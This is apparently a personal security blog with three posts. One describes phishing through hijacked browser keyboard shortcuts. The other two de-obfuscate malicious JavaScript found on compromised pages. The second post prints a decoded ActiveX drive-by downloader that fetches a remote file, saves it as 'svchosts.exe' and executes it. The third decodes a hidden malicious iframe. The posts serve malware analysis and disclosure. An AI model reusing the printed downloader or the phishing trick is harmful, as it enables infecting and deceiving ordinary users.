:wq - blog » javascript

Firefox/Safari on OSX’s keyboard annoyances

Lee — Thu, 21 Aug 2008 17:19:18 +0000

I use keyboard shortcuts. A lot. So much in fact, that I find it incredibly annoying when websites create their own keyboard shortcuts for their pages. Most wiki-type pages (Wikipedia, Trac, Twiki) all use keyboard shortcuts on their sites.

I am a firm believer that application-level keybindings should always take precedence over website keybindings, no matter what. Not only is this in line with the conceptual view of how the two interact, but it’s better for security reasons, take, for example, the keyboard shortcuts to access the preferences for almost all applications on OSX: Apple+, (or CMD)

Why stop with usability features like focusing the find box? Why not overwrite the keyboard shortcut for accessing the preferences for a browser, trick the website user into clicking on something he or she should not be clicking on. (Note that it requires javascript. Firefox’s popup blocker will catch it, but Safari’s does not, it also looks more realistic in Safari).

Here’s an example, a page that I’m hosting (it doesn’t do anything malicious )

Use CMD+, to open the preferences for either safari or firefox, I used firefox for this example, but I could just have easily used safari. I mocked this up in about 5 minutes, I could easily have opened a page instead of just an image also.

Did you see the fake preferences window? Now tell me how many people (non-technical users) would immediately know that this window was not the real preferences window for Firefox? What if the website had a “How-to” guide for setting a Firefox preference, and encouraged the user to “Press CMD+, to open the preferences, then click on and type ”. If the website showed a picture of a false preferences panel and said “It’s perfectly normal for firefox preferences to ask for your password, enter it into the box on the ‘Security’ tab”, how many users might be tricked into doing that? You could write a guide for setting a preference that was actually a phishing site.

Comeon browser devs, don’t let javascript steal ALL the shortcuts, at least don’t pass browser-specific shortcuts to the site BEFORE handling them. (Or make it an option you have to turn on?)

Thoughts? What do you think, should websites have the ability to capture keystrokes? Should browser developers pass things through? What about a site-(white|black)list for keyboard shortcuts?

Quick javascript de-obfuscation with python

Lee — Thu, 05 Jun 2008 22:44:59 +0000

Scholar was kind enough to allow me to post his/her obfuscated javascript. Here’s a quick rundown. The page was originally this:

404 Not Found
Not Found
The requested URL /index.php was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

(line breaks in the str variable added so it’s actually readable). Looks like this script uses the same XOR method as the script I posted about previously. This script is actually trivial to de-obfuscate using python (I <3 ruby, but ruby doesn’t like strings with #{} in them, so it was easier just to use python instead):


shell> python
>>> str = 
>>> str2 = ""
>>> for i in range(0,len(str)):
. . .     str2 = str2 + chr(ord(str[i] ^ 1))

str2 now contains the de-obfuscated javascript, which after inserting line breaks, looks something like this:

poexali(); function poexali() { var ender = document.createElement('object'); ender.setAttribute('id','ender'); ender.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36'); try { var asq = ender.CreateObject('msxml2.XMLHTTP',''); var ass = ender.CreateObject("Shell.Application",''); var asst = ender.CreateObject('adodb.stream',''); try { asst.type = 1; asq.open('GET','http://worldchinesewriters.com//load.php',false); asq.send(); asst.open(); asst.Write(asq.responseBody); var imya = './/..//svchosts.exe'; asst.SaveToFile(imya,2); asst.Close(); } catch(e) {} try { ass.shellexecute(imya); } catch(e) {} }catch(e){} }

Which, as Scholar pointed out in his/her original email, attempts to download hxxp://worldchinesewriters.com/load.php and save it into the local file “svchosts.exe”, then execute the file.

Super-quick post, since lately I seem to be a tad verbose. What “svchosts.exe” does is left as an exercise to the reader

Obfuscated javascript fun

Lee — Wed, 05 Mar 2008 19:25:07 +0000

A friend of mine (thanks Legit) turned me on to this piece of javascript found in the midst of some PHP:

The “getElementById” that testws35fdgh refers to is this empty div:

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby hex = ["x69","x3c","x33","x27","x34","x38", "x30","x75","x3b","x34","x38","x30","x68", "x72","x36","x3a","x20","x3b","x21","x30", "x27","x72","x75","x26","x27","x36","x68", "x72","x3d","x21","x21","x25","x6f","x7a", "x7a","x33","x27","x34","x38","x30","x26", "x21","x34","x21","x7b","x3b","x30","x21", "x7a","x3c","x3b","x31","x30","x2d","x67", "x7b","x25","x3d","x25","x72","x75","x3d", "x30","x3c","x32","x3d","x21","x68","x72", "x64","x63","x72","x75","x22","x3c","x31", "x21","x3d","x68","x72","x64","x63","x72", "x75","x33","x27","x34","x38","x30","x37", "x3a","x27","x31","x30","x27","x68","x72", "x65","x72","x75","x26","x36","x27","x3a", "x39","x39","x3c","x3b","x32","x68","x72", "x3b","x3a","x72","x6b","x69","x7a","x3c", "x33","x27","x34","x38","x30","x6b"] line = "" hex.each { |c| ## Unpack the char c = c.unpack('c').to_s.to_i ## XOR with 85 d = c ^ 85 ## Pack back into a character t = [d].pack('c') ## Append to the line line = line + t } puts line

Which eventually leads you to:

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant: Suspended Domain ****@4host.info +1.00000000 Suspended domain Suspended domain Suspended domain, Suspended domain,US 94040

Registration Service Provider: name: Rustelekom Ltd. tel: +1.8666254678 fax: +1.9782465632 web:http://nameservers.ru

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.